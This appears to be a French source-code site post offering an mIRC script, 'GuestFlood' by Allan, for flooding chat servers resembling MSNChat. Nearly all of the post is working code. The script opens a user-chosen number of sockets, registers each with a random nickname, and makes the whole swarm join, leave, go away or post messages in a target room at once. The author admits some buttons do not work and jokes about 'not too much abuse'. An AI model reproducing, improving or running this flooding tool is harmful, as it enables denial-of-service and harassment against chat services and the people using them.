Guest flooder tout en dialog

Description

J'ai crée ce guestflood pour les serveurs qui ressemblant à MSNChat, j'ai fait ça en 10 heures environs. Il est entièrement en dialog.

Source / Exemple :


##################################
############GuestFlood############
################By################
###############Allan##############
##################################

on *:start:{ set %utile on | dialog -m guestmenu guestmenu }
dialog debug {
  title "Debug GuestFlood"
  size -1 -1 271 165
  option dbu
  list 1, 1 1 268 141, size
  button "Effacer", 2, 2 143 267 12
  button "Fermer", 3, 2 157 267 10, ok cancel
}
dialog guestmenu {
  title "Guest Flooder Menu [Allan]"
  size -1 -1 155 114
  option dbu
  text "Bienvenue sur le GuestFlooder crée par Allan v1.0", 1, 16 3 123 8
  box "Information Flooder", 2, 2 13 150 86
  text "Entrer le serveur   :", 3, 7 24 51 8
  edit "", 4, 60 23 50 10, center
  text "Entrer la salle         :", 5, 7 36 51 8
  edit "", 6, 60 35 50 10, center
  text "Entrer votre nick    :", 7, 7 48 51 8
  edit "", 8, 60 47 50 10, center
  text "Entrer le nombre    :", 9, 7 60 51 8
  edit "", 10, 60 59 50 10, center
  text "Entrer le ownerkey :", 11, 7 72 51 8
  edit "", 12, 60 71 50 10, center
  text "Entrer le port          :", 13, 7 84 51 8
  edit "", 14, 60 83 50 10, center
  button "Connect", 15, 112 23 37 34, cancel
  button "Disconnect", 16, 112 59 37 34
  button "Fermer", 17, 2 104 150 12, ok cancel
}
dialog guestaction {
  title "GuestAction"
  size -1 -1 118 65
  option dbu
  box "GuestAction", 1, 3 3 109 36
  button "Join", 2, 7 14 33 9
  button "Part", 3, 7 24 33 9
  button "Hop", 4, 41 14 33 19
  button "Away On", 5, 75 14 33 9
  button "Away Off", 6, 75 24 33 9
  edit "", 7, 2 41 111 10, multi vsbar limit 250
  button "Envoyé", 8, 3 53 25 9
  button "!", 9, 29 53 9 9
  button "Debug", 10, 39 53 35 9
  button "Disconnect", 11, 75 53 38 9, ok cancel
}
on 1:dialog:guestmenu:init:0: {
  if (%utile == on) { hmake info 100 | set %utile off } 
  did -a guestmenu 4 $gettok(%menu,1,44)
  did -a guestmenu 6 $gettok(%menu,2,44)
  did -a guestmenu 8 $gettok(%menu,3,44)
  did -a guestmenu 10 $gettok(%menu,4,44)
  did -a guestmenu 12 $gettok(%menu,5,44)
  did -a guestmenu 14 $gettok(%menu,6,44)
}
on *:dialog:guestmenu:sclick:*:{
  if ($did == 15) {
    unset %menu
    set %menu $addtok(%menu,$did(4).text,44)
    set %menu $addtok(%menu,$did(6).text,44)
    set %menu $addtok(%menu,$did(8).text,44)
    set %menu $addtok(%menu,$did(10).text,44)
    set %menu $addtok(%menu,$did(12).text,44)
    set %menu $addtok(%menu,$did(14).text,44)
    /hadd info serv $did(4).text
    /hadd info salle $did(6).text
    /hadd info nick $did(8).text
    /hadd info tot $did(10).text
    /hadd info owner $did(12).text
    /hadd info port $did(14).text
    dialog -m debug debug
    dialog -m guestaction guestaction
    sockclose Flooder*
    start
  }
  if ($did == 16) { dialog -x guestmenu guestmenu }
}
on *:dialog:guestaction:sclick:*:{
  if ($did == 2) { sockwrite -tn flooder.* JOIN %room $hget(info,$hmatch(info,*owner*,1)) }
  if ($did == 3) { sockwrite -tn flooder.* PART %room }
  if ($did == 4) { sockwrite -tn flooder.* PART %room | sockwrite -tn flooder.* join %room }
  if ($did == 5) { sockwrite -tn flooder.* AWAY . }
  if ($did == 6) { sockwrite -tn flooder.* AWAY }
  if ($did == 8) { sockwrite -tn flooder.* PRIVMSG %room :S Tahoma;0 $did(7).text $+  }
  if ($did == 9) { sockwrite -tn flooder.* PRIVMSG %room :ACTION $did(7).text $+  }
  if ($did == 10) { dialog -m debug debug }
  if ($did == 11) { dialog -m guestmenu guestmenu | sockclose flooder* | dialog -x debug debug }
}
on *:dialog:debug:sclick:2:{ did -r debug 1 }
on *:sockopen:flooderlook:{ sockwrite -tn $sockname FINDS %room }
on *:sockread:flooderlook:{
  sockread %read
  $hget(info,$hmatch(info,*serv*,1)) = $gettok(%read,2,$asc(:))
  echo -s ip $hget(info,$hmatch(info,*serv*,1))
}

alias start {
  sockclose Flooder*
  %serv = $hget(info,$hmatch(info,*serv*,1))
  %room = $chr(37) $+ $chr(35) $+ $hget(info,$hmatch(info,*salle*,1))
  sockopen flooderlook %serv $hget(info,$hmatch(info,*port*,1))
  %flood = $calc($hget(info,$hmatch(info,*tot*,1))-1)
  sockopen flooder.0  %ip
}

on *:sockopen:flooderlook:{ sockwrite -tn $sockname FINDS %room }
on *:sockread:flooderlook:{
  sockread %read
  %ip = $gettok(%read,2,$asc(:))
  echo -s ip %ip
}
on *:sockopen:flooder.*: {
  var %num $remove($sockname,flooder.)
  if ($sockerr) { 
    sockclose $sockname
    sockopen Flooder. $+ %num %ip
    return
  }
  else { 
    sockwrite -tn $sockname IRCVERS IRC8 MSN-OCX!9.02.0310.2401 fr-fr   $+ $crlf $+ NICK $hget(info,$hmatch(info,*nick*,1)) $+ $rand(1,999) $chr(0)
    if (%num == %flood) echo -a 4 Socket Ouvert
    else { echo -a %num Sockets Ouvert
      %num = $calc(%num + 1)
      sockopen Flooder. $+ %num %ip
    }
  }
}
on *:sockread:flooder.*: {
  sockread %read
  did -a debug 1 %read
}

Conclusion :


A ma connaissance, il y a quelques boutons qui ne marchent pas comme le "Hop" et "l'écriture" en salle.
Si quelqu'un pouvais me donner des tuyaux sa serait simpas pour l'évoluer :)
Si vous avez des idées, n'hésitez pas à m'envoyer un message.
Voilà, mais pas trop d'abus :p

Codes Sources

A voir également

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.